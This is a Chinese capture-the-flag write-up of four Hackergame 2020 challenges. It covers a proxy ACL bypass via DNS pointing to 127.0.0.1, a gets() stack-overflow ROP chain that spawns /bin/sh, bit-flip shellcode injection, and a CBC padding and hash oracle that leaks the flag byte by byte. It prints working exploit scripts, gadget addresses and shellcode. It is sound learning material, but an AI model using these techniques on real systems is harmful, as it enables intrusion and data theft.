Hackergame 2020 write up 0x02

这一部分是一些比较困难的题目, 解题过程略有艰辛.

因为之前几乎没接触过pwn, 只是会IDA的安装.(°ー°〃)

多谢NanoApe的鼓励让我有信心去攻破这些虽说很"基础"但是对我刚刚起步完全是"天书"的题目.

因为VMware的Kali Linux又莫名其妙无法联网(其实是懒得修了), 为了对linux程序进行调试, 我才安装了Kali LinuxWSL版本, 发现真的很香!

对于目前至多把linux作为打CTF的工具的我来说, 因为不涉及到生产环境, 个人认为是极其方便的, 尤其是当WSL遇到VSCode, 有奇效.

废话不多说, 先从一道我比较熟悉的Web题入手吧!

超安全的代理服务器

在 2039 年,爆发了一场史无前例的疫情。为了便于在各地的同学访问某知名大学「裤子大」的网站进行「每日健康打卡」,小 C 同学为大家提供了这样一个代理服务。曾经信息安全专业出身的小 C 决定把这个代理设计成最安全的代理。

提示:浏览器可能会提示该 TLS 证书无效,与本题解法无关,信任即可。

题目地址

打开页面, 看到的是人畜无害的前端.

在源码里看到了这个:

<p style="display: none"> 一周工作 72 小时的美工上周住进了 ICU,界面难看也先凑合着用吧 </p>

(行吧, 原谅你还不成吗o( ̄▽ ̄)d

然后就想到抓包, 打开fiddler或者HTTP Debuger Pro之后, 无一例外地看到了这条信息:

其实是这两个软件的抓包原理都是通过代理抓包, 代理后的流量都变成了HTTP 1.1到服务端判定就没通过.于是关掉代理, 又回去了首页, 注意到 推送(PUSH) 被很明显地加粗了, 一波搜索猛如虎: 浅谈 HTTP/2 Server Push 简单了解了一下PUSH是怎么运作的, 但看起来还是要抓包了.

既然不能代理抓包, 自然而然就想到了通过硬件层面抓包的Wireshark, 但是为了抓取HTTPS的流量, 就不可避免地要想想TLS的解密, 又是一波搜索猛如虎: Wireshark对HTTPS数据的解密 不过这里有一个蛮坑人的地方, 就是新版本的Wireshark的选项卡中已经没有SSL选项卡了, 对应功能被搬进了TLS选项卡.

一波重启浏览器刷新之后, 终于收到了PUSH的内容:

于是拿到了第一个flag

flag{d0_n0t_push_me}

问题来了, 那么第二个flag去哪里找呢? 题目说到 “入侵管理中心” 又看到管理中心位于 http://127.0.0.1:8080/以及help页面的相关描述:

1. 我们的服务只提供基于 **CONNECT** 的代理(欲知详情,请访问 [RFC 7231](https://tools.ietf.org/html/rfc7231#section-4.3.6)2. 另外,你需要在你的 HTTP 请求头标中加入 Secret 来作为身份凭证, 例如:
   Secret: [your secret here]
   请注意 **Secret** 只有 60 秒有效期。

3. 我们使用一个访问控制列表来检查您的访问请求。只有匹配如下域名的请求,才会被代理:
    - ustc.edu.cn
    - www.ustc.edu.cn

    在黑名单中的 IP 是无法被代理的:
    - 全球单播地址
    - 10.0.0.0/8
    - 127.0.0.0/8
    - 172.16.0.0/12
    - 192.168.0.0/16

看来要学新东西了.看了看上述的文档, 又去搜索引擎查了查CONNECT, 因为要避过黑名单, 于是给域名加了条A解析使得ustc.edu.cn.gztime.cc指向127.0.0.1(后来看官方是希望利用ipv6的), 于是写了个requests试验一下:

headers = {
    "Host":"ustc.edu.cn.gztime.cc:8080",
    "Secret":input("Secret : "),
}

r = requests.request('CONNECT', 'https://146.56.228.227/', headers=headers, verify=False)

print(r.text)

于是发现收到了200请求…

但是然后呢???
又仔细看了看文档, 发现在收到200请求后是以及建立了代理连接, 还需要进一步使用这个连接发送GET请求, 而这一点是无法用requests做到的, 于是用更底层的库吧, 连接成功后

send_str = 'CONNECT / HTTP/1.1\r\n'
send_str += 'Host: ustc.edu.cn.gztime.cc:8080\r\n'
send_str += 'Connection: keep-alive\r\n'
send_str += 'Secret: ' + secret + '\r\n'
send_str += 'Content-Length: 0\r\n\r\n'
s.sendall(send_str.encode('utf-8'))
# recive data
send_str = 'GET / HTTP/1.1\r\n'
send_str += 'Host: ustc.edu.cn.gztime.cc:8080\r\n'
send_str += 'Connection: keep-alive\r\n'
send_str += 'Secret: ' + secret + '\r\n'
send_str += 'Content-Length: 0\r\n\r\n'
s.sendall(send_str.encode('utf-8'))

而后终于收到一段文字, 服务器要求我们带一个Referer: 146.56.228.227

send_str += 'Referer: 146.56.228.227\r\n'

完整代码

在曲折的探索之后, 终于拿到了我们的第二个flag

flag{c0me_1n_t4_my_h0use}

PS: 后期又知道了可以用nghttp https://146.56.228.227/

生活在博弈树上

PS: 又臭又长的题目描述我就不抄了

题目附件

拿到题目附件, 当时完全不会pwn的我魔改了一下程序测试了一下它的AI, 结果发现我是必败的.

不过井字棋后手至多平局这件事已经是常识了啊喂(#O′)`

于是查找CTF WIKI#stackoverflow才知道有种东西叫做ROP(Return Oriented Programming)也终于搞清楚了栈溢出具体能用来做什么

之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件

程序存在溢出,并且可以控制返回地址。
可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
Read more

简单学习了一下之后也就学了十几个小时吧

得知了我们的第一个目标, 也就是第一关"始终热爱大地"的目标:

覆盖函数返回地址,使得函数运行结束时跳转到能获取flag的地方。

这里引用一段官方题解中的内容:

打开源代码读过代码,我们就能轻易发现一个很危险的信号:
cpp printf("Your turn. Input like (x, y), such as (0, 1): "); gets(input); x = input[1] - '0'; y = input[3] - '0';
尽管很多初学 C 语言的同学会使用 gets() 去读取一行字符串(至少我所观察到很多没有编程基础初学 C 语言的大一新生会这么做,因为确实“很方便”),但是这个函数是非常危险的:它不会限制输入的长度,可以构造出长度大于接受输入的数组长度的字符串,从而实现一些“意料之外”的事情。1988 年,知名的 Morris Worm 就通过利用程序 figure 中使用 gets() 获取输入的问题,对当时互联网上的机器带来了巨大的破坏。

所以打开IDA开启调试, 给gets打个断点, 去找找它把我们的输入读到了哪里:

等到中断在断点处, 然后输入一段这样的文本:

(1,1)ccccccccccccccccccccccc

继续运行, 然后程序第二次停在了我们设置的gets断点处, 打开栈视图(stack view), 看一看里面的东西, 这里我直接给出一些解释:

如果这样的话, 继续输入下去, 输入的东西迟早能覆盖掉main()返回的地方!而从那里截获, 我们就可以让程序跳转到任何我们想去的地方了!

然后的问题是, 我们想让程序去到哪里?查看一下源码, 可以发现:

所以我们的思路是, 让程序跳转到0x402551这个位置, 0x40, 0x25, 0x51@, %, Q的16进制ASCII, 注意到我们的输入看起来是从右往左一行一行输入的, 所以我们只需要填充足够的字符, 然后在特定的位置放置Q%@就可以达成目标, 于是我们的payload可以是:

(1,1)cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccQ%@

输入后查看IDA, 发现:

随意白给两局, 本地输出:

You failed! See you next time~
What? You win! Here is your flag:
Send payload to server to get flag plz

于是发给服务器:

You failed! See you next time~
What? You win! Here is your flag:
flag{easy_gamE_but_can_u_get_my_shel1}

于是我们得到了第一题的flag:

flag{easy_gamE_but_can_u_get_my_shel1}

这本来就是个挑衅

好了, 我们要更进一步了, 现在我们需要我们的pwntools闪亮登场了!

先建议看看这篇文章: [漏洞分析] 栈基础 & 栈溢出 & 栈溢出进阶

现在的目标是getshell对于也就是说, 我们需要调用syscall让它运行/bin/sh:

构造如下的寄存器后call syscall
rax 0x3b rdi /bin/sh rsi NULL 0 rdx NULL 0

如何向寄存器中写入数据呢?这里要用到

  • pop : 将栈顶弹出到寄存器
  • ret : 返回调用处

这里我们可以利用ROPgadget寻找一下需要的东西:

  • popret

    $ ROPgadget --binary tictactoe --only "pop|ret"
    Gadgets information
    ============================================================
    ......
    0x000000000043e52c : pop rax ; ret
    ......
    0x000000000040274b : pop rbx ; ret
    ......
    0x00000000004017b6 : pop rdi ; ret
    ......
    0x0000000000407228 : pop rsi ; ret
  • syscall

    $ ROPgadget --binary tictactoe --only "syscall"
    Gadgets information
    ============================================================
    0x0000000000402bf4 : syscall

似乎万事俱备, 只差/bin/sh没有了.
搜索内存也没有.
怎么办.

我们有gets啊!
查看gets附近的寄存器操作:

.text:000000000040240D   lea     rax, [rbp+var_90]
.text:0000000000402414   mov     rdi, rax
.text:0000000000402417   mov     eax, 0
.text:000000000040241C   call    gets

这里需要知道的是:

  • lea : 将对应地址(后者)传送到指定的的寄存器(前者)
  • mov : 这里是将一个寄存器(后者)的内容传送到指定的的寄存器(前者)

于是这一段的实际意思就是说:
将要存数据的地址传递给rdi寄存器后调用gets就可以让gets把输入写到地址去!我们就可以写入/bin/sh到某个地址了!

那么我们让它写入到bss段, 介绍: 浅谈程序中的text段、data段和bss段, 而bss段位于地址的最后方, 我们随便可以找一个来用, 比如0x4a69b0(可以在IDA中找一下)

这里我们用到pwntools里面的p64()函数来拼接对应的payload:

# 到我们要改动的 main 函数返回的地方的填充
padding = b'(1, 1)' + ('c' * 147).encode()

# 刚刚找到的一堆地址
pop_rdi_ret = 0x4017b6
pop_rax_ret = 0x43e52c
pop_rsi_ret = 0x407228
pop_rdx_ret = 0x43dbb5
gets_addr = 0x409e00
syscall = 0x402bf4
bss_addr = 0x4a69b0

payload = padding
payload += p64(pop_rdi_ret) + p64(bss_addr)     # rdi [bss_addr]
payload += p64(gets_addr)                       # call gets
payload += p64(pop_rax_ret) + p64(0x3b)         # rax 0x3b
payload += p64(pop_rdi_ret) + p64(bss_addr)     # rdi "/bin/sh" <= [bss_addr]
payload += p64(pop_rsi_ret) + p64(0)            # rsi NULL 0
payload += p64(pop_rdx_ret) + p64(0)            # rdx NULL 0
payload += p64(syscall)                         # call syscall
payload += p64(0) * 4

完整代码

使用pwntools发送之后我们便成功拿到了shell了!
也就是说, 可以为所欲为了~~~~

$ ls
......
$ cat flag
flag{Get_the_she11_1s_not_so_hard_fe2da47f6e}

这样, 我们就拿到了第二个flag
flag{Get_the_she11_1s_not_so_hard_fe2da47f6e}

超精准的宇宙射线模拟器

[聊天记录]
顶级黑客攻击可以直接控制宇宙射线击中在你的电脑上,翻转你内存中的某个比特位,然后拿到你电脑的权限读取你的数据,而且事后不会留下痕迹,杀人于无形
[聊天记录]
自己多去了解好吧

顶级黑客,轮到你了!

你可以在内存中任意翻转一个 bit,但只能翻转一个哦~

下载linux可执行文件

下载之后先扔进IDA反编译一下x看到了一个基本能读的代码

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp-1Ch] [rbp-1Ch]
  _BYTE *v4; // [rsp-18h] [rbp-18h]
  unsigned __int64 v5; // [rsp-10h] [rbp-10h]

  __asm { endbr64 }
  v5 = __readfsqword(0x28u);
  while ( 1 )
  {
    sub_401090(_bss_start, 0LL, 2LL, 0LL);
    sub_401090(stdin, 0LL, 2LL, 0LL);
    sub_401080("You can flip only one bit in my memory. Where do you want to flip?");
    sub_4010B0("%p %d", &v4, &v3);
    if ( v3 >= 0 && v3 <= 7 )
    {
      *v4 ^= 1 << v3;
      sub_401080("Done.");
      sub_4010C0(0LL);
    }
    sub_401080("Invalid input");
  }
}

然后查看sub_4010C0附近的汇编, 总觉得有点可操作性:

.text:0000000000401290   mov     edi, 0
.text:0000000000401295   call    sub_4010C0

但说不上来能做些什么, 于是记下401295这个地址, 然后试着改了几个附近的地址, 本来不抱有什么希望, 但当我输入401296 4的时候, 神奇的事情发生了:

You can flip only one bit in my memory. Where do you want to flip?
401296 4
Done.
You can flip only one bit in my memory. Where do you want to flip?

程序没有退出, 没有异常, 没有告诉我输入错误.
而是直接重新开始新的一轮???
这意味着: 无穷多的宇宙射线!!!

实际上, 这个比特位的翻转使得程序进入了一个循环, 可以让我翻转更多的位.
于是, 我们想干什么事情基本上都可以了.
比如说, getshell

整理一下思路, 有个东西叫做shellcode, 是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名

这里有一个可以用到的shellcode

如何写入呢?我们可以把程序的每一byte读入后和我们想写入的比特异或, 之后再去flip那些为1的位置:

再次观察代码, 程序后面的位置可能会很难完整写入shellcode
所以我们把它写入后面的空闲区域, 并且在0x40129A处写一个call跳转到我们写入的区域

这里我选择把shellcode写入0x401400

e = ELF('bitflip')
pos = 0x401400

data = b'\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05'
ram = e.read(pos, len(data))

for i in range(len(data)):
    x = ram[i] ^ data[i]
    j = 0
    while x > 0:
        if x % 2 == 1:
            now = format(pos + i , 'x')
            io.sendline(f'{now} {j}')
            io.recvline()
            io.recvline()
        j += 1
        x >>= 1

call后面需要跟着地址偏移量, 我算了好几次都无法跳转成功, 这里是我写入的机器码:(应该是算错了)

data = b'\xe8\x66\x01\x00\x00'

最后利用pwntoolsgdb调试, 发现了问题:

原来我给跳转到0x401405去了ヽ(*。>Д<)o゜>)
好吧那就写入到0x401405去吧

于是

pos = 0x401405

完整代码

再次检查, 成功写入.

之后用233333 9这样的输入跳出if语句
让程序运行我们写入的0x40129a处的call之后就运行了我们的shellcode成功getshell

$ ls
......
$ cat flag
flag{B1t_fl1pfl1pfl1pfl1pfl1p_g0tshe11_owo_1f35e8c144}

获得flag
flag{B1t_fl1pfl1pfl1pfl1pfl1p_g0tshe11_owo_1f35e8c144}

PS: 为了这三道pwn的题目我用了比赛快结束前的近一天时间去学这方面的知识, 还遇到各种奇奇怪怪的概念问题, 幸亏最后找到了合适的学习材料, 这个坑挺深的, 希望我还能边爬边学下去orz

中间人

为了避开 Eve 同学的干扰,某一天 Alice 悄悄找到了你,想让你帮忙传送一些加密消息给 Bob。当然,出于一些安全方面的考虑,Alice 想了几种方法在消息里加入了一些校验。

题目源码

出于能力限制, 做第一题都费了老鼻子劲, 最开始还在想怎么把key搞出来
too young too simple

也鉴于此, 我只提供第一问的探索过程.

首先, 是知道sha256AES在干什么, 并且了解CBC_Mode做了什么事情.

这里有个很好的文章:
CTF-WIKI#CBC

现在我们把AES加密视为一个黑箱, 输入16bytes明文, 输出等长度密文, 再来进行讨论.

而CBC模式有一个特点, 在于如果我们截取其中的一部分, 比如如果我们切去前32位hex(即16bytes)的数据, 在本地去除sha256校验, 其实Bob还是能够解密出后半部分明文的.

这一特点决定了我们后续爆破的基础之一: 可以对我们需要的部分Substring

而后, 我们考虑一下怎么让我们给Bob的信息可以通过sha256校验.

根据源码我们可以推断一下没有flag的时候密文的长度是什么样子的:

依次增加name的位数, 直到长度突然增加, 当name长度为14时得到密文长度突然增加为288而之前的长度为256, 根据pad()函数中的计算方法, 可以得到, 当len(name) == 14时, 整段明文的长度为256.

而已知的内容的长度分别是(按16进制位数记)

iv                                                          -> 32
sha256                                                      -> 64
len("Thanks  for taking my flag: ".encode('utf-8').hex())   -> 56

flag.encode('utf-8').hex()长度为xx则有如下式子:

32+64+56+x+14=25632 + 64 + 56 + x + 14 = 256

解得x=90x = 90由于这是16进制位数, 故可得flag长度为45

直到了这个就又向着最终的目标前进了一步: 可以精确地把我们的flag一位一位用name顶到新的区块中

那我们怎么才能猜测flag的内容呢?

举个例子, 假如flag的最后一位是}, 那我可以通过构造一个适当长度的name使得某个区块的开头第一个字符是}, 为了方便计算长度, 我们把这个区块用已知的内容补全, 比如说可以补全为}000000000000000这时候它的sha256值我们是可以计算出来的, 将他们两个拼接后转为hex()可得:

>>> ('}000000000000000'.encode('utf-8') + sha256('}000000000000000'.encode('utf-8')).digest()).hex()
'7d303030303030303030303030303030
 1c36d43bac2868077e1db0d2385ccaef
 ddb14d2158adfc9cc6ada7f59a793f68'

其中开头的7d就是}的16进制编码, 而此时, 如果我把7d截取掉, 将剩下的部分作为extra告诉Alice, 则对于Alice来说, 她最后拼接出的内容就会是:

[ n * 32 ]
??303030303030303030303030303030 => x000000000000000
1c36d43bac2868077e1db0d2385ccaef => sha256
ddb14d2158adfc9cc6ada7f59a793f68 => sha256

其中的??将会是她手里的flag的最后一位字符的16进制编码了.

如果我猜对了??所表示的字符, 将这一段区块截取出来后发给Bob, 那么我就可以通过Bob的回复得知猜测的正确性了, 当知道了一位之后, 只需要把我知道的内容作为补全的开头, 就可以继续猜测下一位了.

于是其实对于Alice给我们的密文, 有如下样子:

3348610a2281760809708a551a314293 => 'original_iv'      => useless
b6c9792e770822b35cfbadc2a3ad04da => 'Thanks 000000000' => useless
7c84e58fec6d80dabd8b94f8f373653a => ' for taking my f' => useless
4ecc5403085d838020ac48ea0743fb7b => 'lag: flag{xxxx_x' => useless
02118f595dc8baf19df8b5d5371257d3 => 'xxx_xxxx_xxxx_xx' => useless
edec310e80ff189e1786c96ac61c822e => 'xx_xxxx_xxxx_xxx' => let it be my iv
432909e78e560ad1f6c7d736dd4cb266 => 'x}' + 'padding'   => try to find x
977d8243c0ee5f8a249c91cbb2f12fbd => 'useful_sha256'
ae002a177401da29c11a1b87ea503e59 => 'useful_sha256'
5b6c88ed510a03e9d42fa133d76759e7 => 'AES_padding'
37cacdeeaa4b9730bc49b5dd7c9a1800 => 'original_sha256'  => useless
777a725e6bd444f51aeb2e3039a4618b => 'original_sha256'  => useless
0ae35ce2b8686bab4e869c3a77eb5d3d => 'ori_AES_padding'  => useless

所以在这种情况下, 我们的思路就是:

  1. i0, 即flag已知部分的长度
  2. 先构造一个name使得flag的倒数第i + 1位到下一个区块, 令那一位是x即有如下形式:
    [n * 32][x_______________][m * 32]
  3. 对于每一个可能的x
    1. x所在的区块用flag已知的内容开头并补全区块, 具体的内容可随意, 这里我为了方便直接使用pad()补全.令这个补全后的区块为padded.

      PS: 其实这里不做补全都可以, 我这样只是为了后期截取的方便.

    2. 计算sha256(padded).digest()并附加到padded之后, 形成我们的block而这段block截取掉前面已知的字符数i之后便是我们需要的extra
    3. 发送给Alice, 得知密文后截取发给Bob, 如果回复是Thanks则证明我们的猜测正确了, 记录下来xflag的已知部分的最前面, 跳出循环.

于是, 我们就可以按位猜测flag的内容了.

下面是实际的实现代码:

def gen_code(code, offset):
    padded = pad(code)
    payload = padded +  sha256(padded).digest()
    return bytes.fromhex(pad(payload).hex()[2 * offset:])

io = remote('202.38.93.111', '10041')
io.recv()
io.sendline(token)
io.recv()
io.sendline('1')
io.recv()
AES_key = os.urandom(16)
flag_text = ''
for i in range(len(flag_text), 45):
    padding = ('0' * (8 + i)).encode('utf-8')
    for c in range(256):
        payload_len = int((len(flag_text) + 1)/16)
        extra = gen_code((chr(c) + flag_text).encode('utf-8'), i + 1)
        io.sendline('Alice')
        io.recv()
        io.sendline(padding.hex())
        io.recvuntil(b'say? ')
        io.sendline(extra.hex())
        raw = io.recvuntil(b'to? ')
        ans = raw[53:]
        io.sendline('Bob')
        io.recv()
        io.sendline(ans[160: 320 + payload_len * 32])
        res = io.recv()
        if 'Thanks' in res.decode('utf-8'):
            print(res)
            flag_text = chr(c) + flag_text
            print(f'now at {len(flag_text)} : {flag_text}')
            break

完整代码

这里有一个极其坑人的事情:
flag的最后一位居然是\n`

(╯°□°)╯︵ ┻━┻) (╯°□°)╯︵ ┻━┻) (╯°□°)╯︵ ┻━┻)

运行到最后:

now at 45 : flag{U5E_H4sh_as_MAC_1s_n0t_s4fe_f0030a4359}

于是得到flag:

flag{U5E_H4sh_as_MAC_1s_n0t_s4fe_f0030a4359}


>>> 0x02 END